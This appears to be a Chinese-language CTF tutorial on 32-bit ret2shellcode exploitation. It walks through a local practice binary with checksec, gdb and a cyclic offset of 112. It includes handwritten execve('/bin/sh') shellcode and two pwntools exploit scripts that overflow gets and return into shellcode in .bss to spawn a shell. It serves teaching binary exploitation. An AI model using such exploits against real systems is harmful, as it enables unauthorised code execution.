ROP-Ret2Shellcode-x86

ROP-Ret2Shellcode-x86

0x01 前置知识

ret2text漏洞利用依赖于程序中存在执行system(“/bin/sh”)的函数,如果没有这个函数,怎么办呢?

  1. ret2shellcode

    没有执行shell的函数,没有开启NX保护,传入自定义的shellcode

  2. ret2libc

    开启NX(可写的不可执行),使用libc函数,leak libc + ROP

    More:ret2csu、ret2syscall、stack pivot、ret2dl_resolve

ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码(资料来源于网络)。

shellcode举例:execve(“/bin/sh”,null,null);

push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

Linux系统调用:

Linux的系统调用通过int 80h实现,用系统调用号来区分入口函数。

应用程序调用系统调用的过程是:

  1. 把系统调用号存入 eax ;

  2. 把函数参数存入其它通用寄存器(约定顺序为 ebx 、 ecx 、 edx 、 esi 、 edi ,更多的参数(通常不会出现这种情况)使用堆栈传递,也可以通过寄存器存放指向参数在用户空间的地址指针来传递);

  3. 触发 0x80 号(int 0x80)中断(触发系统调用)。

查看系统调用号:

32位:

cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h

unistd_32

64位:

cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h

unistd_64

shellcode模板:

shellcode

如何写shellcode:

  1. 手写:

    1. 想办法调用execve(“/bin/sh”,null,null);

    2. 传入字符串/bin///sh

    3. 系统调用execve

      eax = 11(系统调用号)

      ebx = bin_sh_addr(参数一)

      ecx = 0(参数二)

      edx = 0(参数三)

    例如:

    shellcode = asm("""
                 push 0x68
                 push 0x732f2f2f
                 push 0x6e69622f
                 mov ebx,esp
                 xor ecx,ecx
                 xor edx,edx
                 push 11
                 pop eax
                 int 0x80
     """)
  2. pwntools自动生成:

    1. 先指定context.arch = "i386/amd64"

    2. shellcode = asm(shellcraft.sh()),自动生成shellcode

复习下NX保护:

NX(又称DEP)数据执行保护:可写的不可执行,可执行的不可写。

NX

0x02 实验环境

ubuntu 16.04

0x03 实验

首先,拿到一个名为ret2shellcode2的程序,先用checksec看下保护情况:

checksec

可以看到NX保护等都没有开启。

接着查看有没有system函数:

objdump -d ret2shellcode2 | grep system

objdump

发现是没有这个函数的,那么就无法用ret2text了,但是因这里没有开启NX保护,就可以考虑尝试ret2shellcode。

使用gdb进行调试,先看下main函数:

main

可以看到程序先输出(puts),然后输入(gets),再拷贝(strncpy),最后再输出(printf)。这里要利用gets来覆盖到返回地址,返回地址就是要拷贝的那个(这里就是0x804a080)。

然后查看要拷贝的那个地址所在的段,可以使用以下命令:

gdb:readelf
或
shell:readelf -S (注意大小写,一定是大写S)

readelf

可以看到返回地址位于.bss段,现在看下这个段有没有执行权限,在gdb中直接在main函数下断,运行一下,使用vmmap命令查看下权限:

vmmap

可以看到是有执行权限的。下面再计算下偏移(方法之前文章讲过,这里不再赘述):

cyclic

可以看到偏移为112。

现在开始编写exp,使用自动生成的shellcode,如下:

from pwn import*

context(arch = "i386",os = "linux",log_level = "debug") 

p = process("./ret2shellcode2")

shellcode = asm(shellcraft.sh())  #自动生成shellcode

payload = shellcode.ljust(112,'a') + p32(0x804a080)  #指定shellcode长度为112,如果不够则填充a

p.sendline(payload)

p.interactive()

还可以自己编写shellcode,如下:

from pwn import*

context(arch = "i386",os = "linux",log_level = "debug")

p = process('./ret2shellcode2')

shellcode = asm("""
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")

payload = shellcode.ljust(112,'A') + p32(0x804a080)

p.sendline(payload)

p.interactive()

运行一下exp,发现成功getshell:

exp